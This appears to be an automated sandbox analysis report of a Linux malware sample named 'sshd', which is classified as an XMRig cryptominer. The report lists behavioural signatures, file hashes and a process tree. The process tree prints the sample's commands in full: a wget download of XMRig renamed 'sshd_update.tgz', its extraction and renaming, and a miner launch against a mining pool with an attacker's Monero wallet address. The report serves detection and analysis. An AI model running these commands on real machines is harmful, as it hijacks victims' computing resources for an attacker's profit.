Overview

overview

10

Static

static

1

sshd

ubuntu-24.04-amd64

10

Analysis

  • max time kernel
    164s
  • max time network
    148s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240523-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    18-01-2025 21:16

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    sshd

  • Size

    587B

  • MD5

    7985d488c7e958843f3275a79e21b071

  • SHA1

    0e133a293963b8e7a63a3d1b62b94e503c5a2d8b

  • SHA256

    f1477f3ecd66541d99201a6d6ceb4b8db7c64e1dd3634d4484da252c42b607de

  • SHA512

    17ab16adac05b7de63a1d3cdc625281bdbaa3da6e4574c405da721c78b378801d142eda0a2e65a06057ee991a7d6de6d0626aac1ccebda2896687fc52ec0b3de

Score
10/10
xmrigxmrig_linuxantivmcredential_accessdefense_evasiondiscoveryminerprivilege_escalation

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
    miner
  • Xmrig family
    xmrig
  • Xmrig_linux family
    xmrig_linux
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig_linux
  • OS Credential Dumping 1 TTPs 1 IoCs

    Adversaries may attempt to dump credentials to use it in password cracking.

    credential_access
  • Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs

    Abuse sudo or cached sudo credentials to execute code.

    privilege_escalationdefense_evasion
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

    discovery
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 46 IoCs
    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 26 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 17 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/sshd
    /tmp/sshd
    1⤵
    • Writes file to tmp directory
    PID:2577
    • /usr/bin/touch
      touch logs
      2⤵
      • Writes file to tmp directory
      PID:2579
    • /usr/bin/sudo
      sudo echo 47zqPD9abK85U1mLET6U3ZPAUGEWg45fiGSacihNC2kP2SQvsbqTdwY5QgRpssfSfHhHP4JhPRZ8KZPuLq4jwqSMEZtsN4q
      2⤵
      • OS Credential Dumping
      • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
      • Reads runtime system information
      PID:2580
      • /usr/bin/echo
        echo 47zqPD9abK85U1mLET6U3ZPAUGEWg45fiGSacihNC2kP2SQvsbqTdwY5QgRpssfSfHhHP4JhPRZ8KZPuLq4jwqSMEZtsN4q
        3⤵
          PID:2581
      • /usr/bin/wget
        wget https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz -O sshd_update.tgz
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:2582
      • /usr/bin/tar
        tar -xf sshd_update.tgz
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:2588
        • /usr/local/sbin/gzip
          gzip -d
          3⤵
            PID:2589
          • /usr/local/bin/gzip
            gzip -d
            3⤵
              PID:2589
            • /usr/sbin/gzip
              gzip -d
              3⤵
                PID:2589
              • /usr/bin/gzip
                gzip -d
                3⤵
                  PID:2589
              • /usr/bin/mv
                mv xmrig-6.22.2 sshd_common
                2⤵
                • Reads runtime system information
                PID:2590
              • /tmp/sshd_common/xmrig
                ./xmrig -a rx -o stratum+ssl://rx.unmineable.com:443 -u XMR:47zqPD9abK85U1mLET6U3ZPAUGEWg45fiGSacihNC2kP2SQvsbqTdwY5QgRpssfSfHhHP4JhPRZ8KZPuLq4jwqSMEZtsN4q.linux24586 -p crypter
                2⤵
                • Checks hardware identifiers (DMI)
                • Reads hardware information
                • Checks CPU configuration
                • Reads CPU attributes
                • Enumerates kernel/hardware configuration
                • Reads runtime system information
                PID:2592

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • /root/.wget-hsts
              Filesize

              165B

              MD5

              d109ac60ec6893342ef0c62044a565e5

              SHA1

              d6fe54363b8de357a2c51064b9a5e8c8d4b706b3

              SHA256

              de259dd13c6e37be457ffbbe758198218a9976d917330cc284bc47985b6713b4

              SHA512

              6b451c9379c1a4114ff9b436d094b0929eb8dc22750a60e0e6db557457041a0baef45e08d5366f2330126d4d43a55029aa781a787960b52229b4f6705512069f

              Download Submit

            • /tmp/logs
              Filesize

              96B

              MD5

              bbdab9f57852f24e0bc037dc0a3a2e1f

              SHA1

              7c59e97a4708a4a6efb19d3dba02a31e41eb8dab

              SHA256

              25e35c3370e08f08d3fd214e8de48e342302627849f51c971f4cb82e50bb2e56

              SHA512

              d49313b38d3538b0d636a3d586297979abf5f66fc4e93482e646fffbb041bc196d6a994c032c735c0730be71b0ad54711f3b3db9dc6141b8c3f0c23043817f4b

              Download Submit

            • /tmp/sshd_update.tgz
              Filesize

              3.3MB

              MD5

              8feb9a1c7da97b6e0d254d93da37371d

              SHA1

              090510d9ac1aedbce99fe98cc7396cfcfe6a3951

              SHA256

              b2c88b19699e3d22c4db0d589f155bb89efbd646ecf9ad182ad126763723f4b7

              SHA512

              2dd6b60365b553dcc703ed0e804dc1744d7288e3f328798afa6ec9f32e13eefa3ee88a3fa01cfd22f0493d2a2125b803f42f268ee3ac0cf6c2f4e3496fa065db

              Download Submit

            • /tmp/xmrig-6.22.2/SHA256SUMS
              Filesize

              150B

              MD5

              554d057fe1c4eab2071450cf6c434dc5

              SHA1

              9fa4d5aa72d698f72d105fce0bd44657f244c7e6

              SHA256

              cd4a3226d74b573cbd1af1280543912259d6f0e1f5e59c39848700aa01b95de1

              SHA512

              be34f9b3e7ad12baba834da1b57fd6c943935792be2c026c49887e02cb3bd5645d7152dab2a4d760b5a1c09d782f72c6119098efbae63ccaa295cee83da3abb8

              Download Submit

            • /tmp/xmrig-6.22.2/config.json
              Filesize

              2KB

              MD5

              66f38c96a4901e7b345787c447842b3e

              SHA1

              2aa9b4d1bd2edd5d81bd9725e9318edaee67531f

              SHA256

              2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

              SHA512

              71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f

              Download Submit

            • /tmp/xmrig-6.22.2/xmrig
              Filesize

              7.8MB

              MD5

              04685d11af716e696d0c85649fc917a1

              SHA1

              681538e0af2e0ace822f8a998cfee8896dfe442a

              SHA256

              5abce0ceb2cca41fed14d70aac54c516d1aedb359929a7b1be36467ed569eb82

              SHA512

              580eeae0fb2cdeca65a41354febb2377f76ef2647f6c40ef54f88595a4879052e93c01f7dbfd819e17a1a4e77150c590914835bec1ad3af2b423e3b279e549a1

              Download Submit